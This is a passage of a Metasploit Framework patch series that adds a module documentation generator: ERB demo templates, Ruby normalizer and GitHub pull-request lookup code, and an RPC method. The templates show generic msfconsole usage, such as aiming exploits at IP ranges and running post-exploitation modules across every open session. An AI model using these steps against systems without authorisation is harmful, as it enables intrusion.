%>(<%= mod.shortname %>) > set RHOSTS ip-range +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +Other examples of setting the RHSOTS option: + +Example 1: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.3-192.168.1.200 +``` + +Example 2: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24 +``` + +Example 3: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt +``` diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb index 48c4b11be9..0d336b78af 100644 --- a/data/markdown_doc/default_template.erb +++ b/data/markdown_doc/default_template.erb @@ -20,19 +20,24 @@ <%= normalize_references(items[:mod_refs]) %> <% end %> -## Available Targets <% if items[:mod_targets] %> +## Available Targets + <%= normalize_targets(items[:mod_targets]) %> <% end %> +<% unless items[:mod_platforms].empty? %> ## Platforms <%= normalize_platforms(items[:mod_platforms]) %> +<% end %> ## Reliability + <%= normalize_rank(items[:mod_rank]) %> <% unless normalize_options(items[:mod_options]).empty? %> ## Mandatory Options + <%= normalize_options(items[:mod_options]) %> <% end %> diff --git a/data/markdown_doc/localexploit_demo_template.erb b/data/markdown_doc/localexploit_demo_template.erb new file mode 100644 index 0000000000..e7ac42287c --- /dev/null +++ b/data/markdown_doc/localexploit_demo_template.erb @@ -0,0 +1,14 @@ +Note: To run a local exploit, make sure you are at the msf prompt. +Also, to check the session ID, use the ```sessions``` command. + + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/payload_demo_template.erb b/data/markdown_doc/payload_demo_template.erb new file mode 100644 index 0000000000..5b2d392cc9 --- /dev/null +++ b/data/markdown_doc/payload_demo_template.erb @@ -0,0 +1,8 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > generate +``` + +To learn how to generate <%= mod.shortname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom). \ No newline at end of file diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb new file mode 100644 index 0000000000..97a0c6d4b2 --- /dev/null +++ b/data/markdown_doc/post_demo_template.erb @@ -0,0 +1,40 @@ +There are two ways to execute a post module. + +The first is by using the "run" command at the meterpreter prompt. It allows you to run the post +module against that specific session: + +``` +meterpreter > run <%= mod.fullname %> +``` + +The second is by using the "use" command at the msf prompt. You will have to figure out which +session ID to set manually. To list all session IDs, you can use the "sessions" command. + + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +If you wish to run the post against all sessions, here is how: + +1 - Create the following resource script: + +``` +<ruby> +framework.sessions.each_pair do |sid, session| + run_single("use <%= mod.fullname %>") + run_single("set SESSION #{sid}") + run_single("run") +end +</ruby> +``` + +2 - At the msf prompt, execute the above resource script: + +``` +msf > resource path-to-resource-script +``` \ No newline at end of file diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 451dea0f28..8044454fd2 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -746,7 +746,7 @@ class Core print_line print_line "Options:" print_line "* The flag '-j' will print the data in json format" - print_line "* The flag '-d' will show the markdown version with a browser" + print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow." print_line "Queries the supplied module or modules for information. If no module is given," print_line "show info for the currently active module." print_line diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index b56e69c933..bc98f561a0 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -29,11 +29,15 @@ module Msf class DocumentNormalizer - CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) - TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) - BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) - HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) - GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) + CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) + TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) + BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) + HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) + GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) + LOCALEXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'localexploit_demo_template.erb')) + POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) + PAYLOAD_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) + AUXILIARY_SCANNER_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) def get_md_content(items) @md_template ||= lambda { @@ -130,6 +134,14 @@ module Msf load_template(mod, BES_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) load_template(mod, HTTPSERVER_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Local) + load_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Post) + load_template(mod, POST_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Payload) + load_template(mod, PAYLOAD_TEMPLATE) + elsif mod.kind_of?(Msf::Auxiliary::Scanner) + load_template(mod, AUXILIARY_SCANNER_TEMPLATE) else load_template(mod, GENERIC_DEMO_TEMPLATE) end From a5f3bddfc890d910ff5c1058b65491039e26cde6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 00:39:12 -0600 Subject: [PATCH 12/96] Support RPC API --- lib/msf/core/rpc/v10/rpc_module.rb | 13 ++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 2 +- lib/msf/util/document_generator.rb | 26 ++++++++++++++----- 3 files changed, 34 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb index d851b1f501..ef80fadf3c 100644 --- a/lib/msf/core/rpc/v10/rpc_module.rb +++ b/lib/msf/core/rpc/v10/rpc_module.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'msf/util/document_generator' + module Msf module RPC class RPC_Module < RPC_Base @@ -70,6 +72,17 @@ class RPC_Module < RPC_Base end + # Returns detailed information about a module in HTML. + # + # @return [String] HTML file. + # @example Here's how you would use this from the client: + # rpc.call('module.info_html', 'exploit', 'windows/smb/ms08_067_netapi') + def rpc_info_html(mtype, mname) + m = _find_module(mtype, mname) + Msf::Util::DocumentGenerator.get_module_document(m) + end + + # Returns the metadata for a module. # # @param [String] mtype Module type. Supported types include (case-sensitive): diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 8044454fd2..64c81f1f19 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -774,7 +774,7 @@ class Core if dump_json print(Serializer::Json.dump_module(active_module) + "\n") elsif show_doc - Msf::Util::DocumentGenerator.get_module_document(active_module) + Msf::Util::DocumentGenerator.spawn_module_document(active_module) else print(Serializer::ReadableText.dump_module(active_module)) end diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index bc98f561a0..27340897d5 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -50,12 +50,22 @@ module Msf private + def load_css + @css ||= lambda { + data = '' + File.open(CSS_BASE_PATH, 'rb') { |f| data = f.read } + return data + }.call + end + def md_to_html(md) r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) %Q| - + #{r.render(md)} @@ -247,6 +257,14 @@ module Msf end + def self.spawn_module_document(mod) + md = get_module_document(mod) + f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) + f.write(md) + f.close + Rex::Compat.open_webrtc_browser("file://#{f.path}") + end + def self.get_module_document(mod) manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") @@ -279,11 +297,7 @@ module Msf items[:mod_targets] = mod.targets end - md = n.get_md_content(items) - f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) - f.write(md) - f.close - Rex::Compat.open_webrtc_browser("file://#{f.path}") + n.get_md_content(items) end end From 68703e19558c4ade3200cfb05e4b6df9f84f50a9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 10:25:40 -0600 Subject: [PATCH 13/96] Break down DocumenGenerator, fix a bug when opening local md --- lib/msf/util/document_generator.rb | 274 ++---------------- lib/msf/util/document_generator/normalizer.rb | 152 ++++++++++ .../document_generator/pull_request_finder.rb | 109 +++++++ 3 files changed, 280 insertions(+), 255 deletions(-) create mode 100644 lib/msf/util/document_generator/normalizer.rb create mode 100644 lib/msf/util/document_generator/pull_request_finder.rb diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 27340897d5..641e31ab0b 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -4,272 +4,34 @@ # ### -require 'octokit' -require 'nokogiri' -require 'redcarpet' -require 'net/http' -require 'erb' - -module Redcarpet - module Render - class MsfMdHTML < Redcarpet::Render::HTML - def block_code(code, language) - "
" \
-          "#{code}" \
-        "
" - end - end - end -end - +require 'msf/util/document_generator/pull_request_finder' +require 'msf/util/document_generator/normalizer' module Msf module Util module DocumentGenerator - class DocumentNormalizer - - CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) - TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) - BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) - HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) - GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) - LOCALEXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'localexploit_demo_template.erb')) - POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) - PAYLOAD_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) - AUXILIARY_SCANNER_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) - - def get_md_content(items) - @md_template ||= lambda { - template = '' - File.open(TEMPLATE_PATH, 'rb') { |f| template = f.read } - return template - }.call - md_to_html(ERB.new(@md_template).result(binding())) - end - - private - - def load_css - @css ||= lambda { - data = '' - File.open(CSS_BASE_PATH, 'rb') { |f| data = f.read } - return data - }.call - end - - def md_to_html(md) - r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) - %Q| - - - - - - #{r.render(md)} - - - | - end - - def normalize_pull_requests(pull_requests) - if pull_requests.kind_of?(PullRequestFinder::Exception) - error = Rex::Text.html_encode(pull_requests.message) - return error - end - - formatted_pr = [] - - pull_requests.each_pair do |number, pr| - formatted_pr << "* ##{number} - #{pr[:title]}" - end - - formatted_pr * "\n" - end - - def normalize_options(mod_options) - required_options = [] - - mod_options.each_pair do |name, props| - if props.required && props.default.nil? - required_options << "* #{name} - #{props.desc}" - end - end - - required_options * "\n" - end - - def normalize_description(description) - Rex::Text.wordwrap(Rex::Text.compress(description)) - end - - def normalize_authors(authors) - if authors.kind_of?(Array) - authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" - else - Rex::Text.html_encode(authors) - end - end - - def normalize_targets(targets) - targets.collect { |c| "* #{c.name}" } * "\n" - end - - def normalize_references(refs) - refs.collect { |r| "* #{r}" } * "\n" - end - - def normalize_platforms(platforms) - if platforms.kind_of?(Array) - platforms.collect { |p| "* #{p}" } * "\n" - else - platforms - end - end - - def normalize_rank(rank) - "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" - end - - def load_template(mod, path) - data = '' - File.open(path, 'rb') { |f| data = f.read } - ERB.new(data).result(binding()) - end - - def normalize_demo_output(mod) - if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) - load_template(mod, BES_DEMO_TEMPLATE) - elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) - load_template(mod, HTTPSERVER_DEMO_TEMPLATE) - elsif mod.kind_of?(Msf::Exploit::Local) - load_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) - elsif mod.kind_of?(Msf::Post) - load_template(mod, POST_DEMO_TEMPLATE) - elsif mod.kind_of?(Msf::Payload) - load_template(mod, PAYLOAD_TEMPLATE) - elsif mod.kind_of?(Msf::Auxiliary::Scanner) - load_template(mod, AUXILIARY_SCANNER_TEMPLATE) - else - load_template(mod, GENERIC_DEMO_TEMPLATE) - end - end - - end - - class PullRequestFinder - class Exception < RuntimeError; end - - MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )) - - attr_accessor :git_client - attr_accessor :repository - attr_accessor :branch - attr_accessor :owner - attr_accessor :git_access_token - - def initialize - unless ENV.has_key?('GITHUB_OAUTH_TOKEN') - raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' - end - - self.owner = 'rapid7' - self.repository = "#{owner}/metasploit-framework" - self.branch = 'master' - self.git_access_token = ENV['GITHUB_OAUTH_TOKEN'] - self.git_client = Octokit::Client.new(access_token: git_access_token) - end - - def search(mod) - file_name = get_normalized_module_name(mod) - commits = get_commits_from_file(file_name) - get_pull_requests_from_commits(commits) - end - - private - - def get_normalized_module_name(mod) - source_fname = mod.method(:initialize).source_location.first - source_fname.scan(/(modules.+)/).flatten.first || '' - end - - def get_commits_from_file(path) - commits = git_client.commits(repository, branch, path: path) - if commits.empty? - # Possibly the path is wrong. - raise PullRequestFinder::Exception, 'No commits found.' - end - - commits - end - - def get_author(commit) - if commit.author - return commit.author[:login].to_s - end - - '' - end - - def is_author_blacklisted?(commit) - ['tabassassin'].include?(get_author(commit)) - end - - def get_pull_requests_from_commits(commits) - pull_requests = {} - - commits.each do |commit| - next if is_author_blacklisted?(commit) - - pr = get_pull_request_from_commit(commit) - unless pr.empty? - pull_requests[pr[:number]] = pr - end - end - - pull_requests - end - - def get_pull_request_from_commit(commit) - sha = commit.sha - url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}") - cli = Net::HTTP.new(url.host, url.port) - cli.use_ssl = true - req = Net::HTTP::Get.new(url.request_uri) - res = cli.request(req) - n = Nokogiri::HTML(res.body) - found_pr_link = n.at('li[@class="pull-request"]//a') - - # If there is no PR associated with this commit, it's probably from the SVN days. - return {} unless found_pr_link - - href = found_pr_link.attributes['href'].text - title = found_pr_link.attributes['title'].text - - # Filter out all the pull requests that do not belong to rapid7. - # If this happens, it's probably because the PR was submitted to somebody's fork. - return {} unless /^\/#{owner}\// === href - - { number: href.scan(/\d+$/).flatten.first, title: title } - end - - end - def self.spawn_module_document(mod) - md = get_module_document(mod) - f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) - f.write(md) - f.close - Rex::Compat.open_webrtc_browser("file://#{f.path}") + manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + + unless File.exists?(manual_path) + md = get_module_document(mod) + f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) + f.write(md) + f.close + manual_path = f.path + end + + Rex::Compat.open_webrtc_browser("file://#{manual_path}") end def self.get_module_document(mod) + md = '' + manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") if File.exists?(manual_path) - Rex::Compat.open_webrtc_browser("file://#{manual_path}") + File.open(manual_path, 'rb') { |f| md = f.read } else begin pr_finder = PullRequestFinder.new @@ -297,8 +59,10 @@ module Msf items[:mod_targets] = mod.targets end - n.get_md_content(items) + md = n.get_md_content(items) end + + md end end diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb new file mode 100644 index 0000000000..6fcda0262e --- /dev/null +++ b/lib/msf/util/document_generator/normalizer.rb @@ -0,0 +1,152 @@ +require 'redcarpet' +require 'erb' + +module Redcarpet + module Render + class MsfMdHTML < Redcarpet::Render::HTML + def block_code(code, language) + "
" \
+          "#{code}" \
+        "
" + end + end + end +end + +module Msf + module Util + module DocumentGenerator + class DocumentNormalizer + + CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) + TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) + BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) + HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) + GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) + LOCALEXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'localexploit_demo_template.erb')) + POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) + PAYLOAD_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) + AUXILIARY_SCANNER_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) + + def get_md_content(items) + @md_template ||= lambda { + template = '' + File.open(TEMPLATE_PATH, 'rb') { |f| template = f.read } + return template + }.call + md_to_html(ERB.new(@md_template).result(binding())) + end + + private + + def load_css + @css ||= lambda { + data = '' + File.open(CSS_BASE_PATH, 'rb') { |f| data = f.read } + return data + }.call + end + + def md_to_html(md) + r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) + %Q| + + + + + + #{r.render(md)} + + + | + end + + def normalize_pull_requests(pull_requests) + if pull_requests.kind_of?(PullRequestFinder::Exception) + error = Rex::Text.html_encode(pull_requests.message) + return error + end + + formatted_pr = [] + + pull_requests.each_pair do |number, pr| + formatted_pr << "* ##{number} - #{pr[:title]}" + end + + formatted_pr * "\n" + end + + def normalize_options(mod_options) + required_options = [] + + mod_options.each_pair do |name, props| + if props.required && props.default.nil? + required_options << "* #{name} - #{props.desc}" + end + end + + required_options * "\n" + end + + def normalize_description(description) + Rex::Text.wordwrap(Rex::Text.compress(description)) + end + + def normalize_authors(authors) + if authors.kind_of?(Array) + authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" + else + Rex::Text.html_encode(authors) + end + end + + def normalize_targets(targets) + targets.collect { |c| "* #{c.name}" } * "\n" + end + + def normalize_references(refs) + refs.collect { |r| "* #{r}" } * "\n" + end + + def normalize_platforms(platforms) + if platforms.kind_of?(Array) + platforms.collect { |p| "* #{p}" } * "\n" + else + platforms + end + end + + def normalize_rank(rank) + "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" + end + + def load_template(mod, path) + data = '' + File.open(path, 'rb') { |f| data = f.read } + ERB.new(data).result(binding()) + end + + def normalize_demo_output(mod) + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) + load_template(mod, BES_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) + load_template(mod, HTTPSERVER_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Exploit::Local) + load_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Post) + load_template(mod, POST_DEMO_TEMPLATE) + elsif mod.kind_of?(Msf::Payload) + load_template(mod, PAYLOAD_TEMPLATE) + elsif mod.kind_of?(Msf::Auxiliary::Scanner) + load_template(mod, AUXILIARY_SCANNER_TEMPLATE) + else + load_template(mod, GENERIC_DEMO_TEMPLATE) + end + end + + end + end + end +end \ No newline at end of file diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb new file mode 100644 index 0000000000..94ae095a93 --- /dev/null +++ b/lib/msf/util/document_generator/pull_request_finder.rb @@ -0,0 +1,109 @@ +require 'octokit' +require 'nokogiri' +require 'net/http' + +module Msf + module Util + module DocumentGenerator + + class PullRequestFinder + + class Exception < RuntimeError; end + + MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )) + + attr_accessor :git_client + attr_accessor :repository + attr_accessor :branch + attr_accessor :owner + attr_accessor :git_access_token + + def initialize + unless ENV.has_key?('GITHUB_OAUTH_TOKEN') + raise PullRequestFinder::Exception, 'GITHUB_OAUTH_TOKEN environment variable not set.' + end + + self.owner = 'rapid7' + self.repository = "#{owner}/metasploit-framework" + self.branch = 'master' + self.git_access_token = ENV['GITHUB_OAUTH_TOKEN'] + self.git_client = Octokit::Client.new(access_token: git_access_token) + end + + def search(mod) + file_name = get_normalized_module_name(mod) + commits = get_commits_from_file(file_name) + get_pull_requests_from_commits(commits) + end + + private + + def get_normalized_module_name(mod) + source_fname = mod.method(:initialize).source_location.first + source_fname.scan(/(modules.+)/).flatten.first || '' + end + + def get_commits_from_file(path) + commits = git_client.commits(repository, branch, path: path) + if commits.empty? + # Possibly the path is wrong. + raise PullRequestFinder::Exception, 'No commits found.' + end + + commits + end + + def get_author(commit) + if commit.author + return commit.author[:login].to_s + end + + '' + end + + def is_author_blacklisted?(commit) + ['tabassassin'].include?(get_author(commit)) + end + + def get_pull_requests_from_commits(commits) + pull_requests = {} + + commits.each do |commit| + next if is_author_blacklisted?(commit) + + pr = get_pull_request_from_commit(commit) + unless pr.empty? + pull_requests[pr[:number]] = pr + end + end + + pull_requests + end + + def get_pull_request_from_commit(commit) + sha = commit.sha + url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}") + cli = Net::HTTP.new(url.host, url.port) + cli.use_ssl = true + req = Net::HTTP::Get.new(url.request_uri) + res = cli.request(req) + n = Nokogiri::HTML(res.body) + found_pr_link = n.at('li[@class="pull-request"]//a') + + # If there is no PR associated with this commit, it's probably from the SVN days. + return {} unless found_pr_link + + href = found_pr_link.attributes['href'].text + title = found_pr_link.attributes['title'].text + + # Filter out all the pull requests that do not belong to rapid7. + # If this happens, it's probably because the PR was submitted to somebody's fork. + return {} unless /^\/#{owner}\// === href + + { number: href.scan(/\d+$/).flatten.first, title: title } + end + end + + end + end +end \ No newline at end of file From 02834d4251b2c3e318109432d8157f69b9eed927 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Feb 2016 11:44:14 -0600 Subject: [PATCH 14/96] Add API documentation --- lib/msf/util/document_generator.rb | 13 ++++ lib/msf/util/document_generator/normalizer.rb | 72 ++++++++++++++++++- .../document_generator/pull_request_finder.rb | 53 +++++++++++++- 3 files changed, 136 insertions(+), 2 deletions(-) diff --git a/lib/msf/util/document_generator.rb b/lib/msf/util/document_generator.rb index 641e31ab0b..9c6d66a118 100644 --- a/lib/msf/util/document_generator.rb +++ b/lib/msf/util/document_generator.rb @@ -11,9 +11,16 @@ module Msf module Util module DocumentGenerator + + # Spawns a module document with a browser locally. + # + # @param mod [Msf::Module] Module to create document for. + # @return [void] def self.spawn_module_document(mod) + # By default, if there is a document already in the repository, then open that one. manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") + # No document in the repo, then we generate one on the fly. unless File.exists?(manual_path) md = get_module_document(mod) f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) @@ -25,9 +32,15 @@ module Msf Rex::Compat.open_webrtc_browser("file://#{manual_path}") end + + # Returns a module document in HTML. + # + # @param mod [Msf::Module] Module to create document for. + # @return [void] def self.get_module_document(mod) md = '' + # If there is a document already in the repository, then open that one. manual_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md") if File.exists?(manual_path) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 6fcda0262e..ec20ac06ae 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -28,6 +28,11 @@ module Msf PAYLOAD_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) AUXILIARY_SCANNER_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) + + # Returns the module document in HTML form. + # + # @param items [Hash] Items to be documented. + # @return [String] HTML. def get_md_content(items) @md_template ||= lambda { template = '' @@ -37,8 +42,13 @@ module Msf md_to_html(ERB.new(@md_template).result(binding())) end + private + + # Returns the CSS code for the HTML document. + # + # @return [String] def load_css @css ||= lambda { data = '' @@ -47,6 +57,11 @@ module Msf }.call end + + # Returns the HTML document. + # + # @param md [String] Markdown document. + # @return [String] HTML document. def md_to_html(md) r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true) %Q| @@ -63,6 +78,11 @@ module Msf | end + + # Returns the markdown format for pull requests. + # + # @param pull_requests [Hash] Pull requests + # @return [String] def normalize_pull_requests(pull_requests) if pull_requests.kind_of?(PullRequestFinder::Exception) error = Rex::Text.html_encode(pull_requests.message) @@ -78,6 +98,11 @@ module Msf formatted_pr * "\n" end + + # Returns the markdown format for module datastore options. + # + # @param mod_options [Hash] Datastore options + # @return [String] def normalize_options(mod_options) required_options = [] @@ -90,10 +115,21 @@ module Msf required_options * "\n" end + + # Returns the markdown format for module description. + # + # @param description [String] Module description. + # @return [String] def normalize_description(description) Rex::Text.wordwrap(Rex::Text.compress(description)) end + + # Returns the markdown format for module authors. + # + # @param authors [Array] Module Authors + # @param authors [String] Module author + # @return [String] def normalize_authors(authors) if authors.kind_of?(Array) authors.collect { |a| "* #{Rex::Text.html_encode(a)}" } * "\n" @@ -102,14 +138,30 @@ module Msf end end + + # Returns the markdown format for module targets. + # + # @param targets [Array] Module targets. + # @return [String] def normalize_targets(targets) targets.collect { |c| "* #{c.name}" } * "\n" end + + # Returns the markdown format for module references. + # + # @param refs [Array] Module references. + # @return [String] def normalize_references(refs) refs.collect { |r| "* #{r}" } * "\n" end + + # Returns the markdown format for module platforms. + # + # @param platforms [Array] Module platforms. + # @param platforms [String] Module platform. + # @return [String] def normalize_platforms(platforms) if platforms.kind_of?(Array) platforms.collect { |p| "* #{p}" } * "\n" @@ -118,16 +170,34 @@ module Msf end end + + # Returns the markdown format for module rank. + # + # @param rank [String] Module rank. + # @return [String] def normalize_rank(rank) "[#{Msf::RankingName[rank].capitalize}](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)" end + + # Returns a parsed ERB template. + # + # @param mod [Msf::Module] Metasploit module. + # @param path [String] Template path. + # @return [String] def load_template(mod, path) data = '' File.open(path, 'rb') { |f| data = f.read } ERB.new(data).result(binding()) end + + # Returns a demo template suitable for the module. Currently supported templates: + # BrowserExploitServer modules, HttpServer modules, local exploit modules, post + # modules, payloads, auxiliary scanner modules. + # + # @param mod [Msf::Module] Metasploit module. + # @return [String] def normalize_demo_output(mod) if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) load_template(mod, BES_DEMO_TEMPLATE) @@ -149,4 +219,4 @@ module Msf end end end -end \ No newline at end of file +end diff --git a/lib/msf/util/document_generator/pull_request_finder.rb b/lib/msf/util/document_generator/pull_request_finder.rb index 94ae095a93..ea2ca57367 100644 --- a/lib/msf/util/document_generator/pull_request_finder.rb +++ b/lib/msf/util/document_generator/pull_request_finder.rb @@ -12,12 +12,26 @@ module Msf MANUAL_BASE_PATH = File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )) + # @return [Octokit::Client] Git client attr_accessor :git_client + + # @return [String] Metasploit Framework's repository attr_accessor :repository + + # @return [String] Metasploit Framework's branch attr_accessor :branch + + # @return [String] Metasploit Framework's repository owner attr_accessor :owner + + # @return 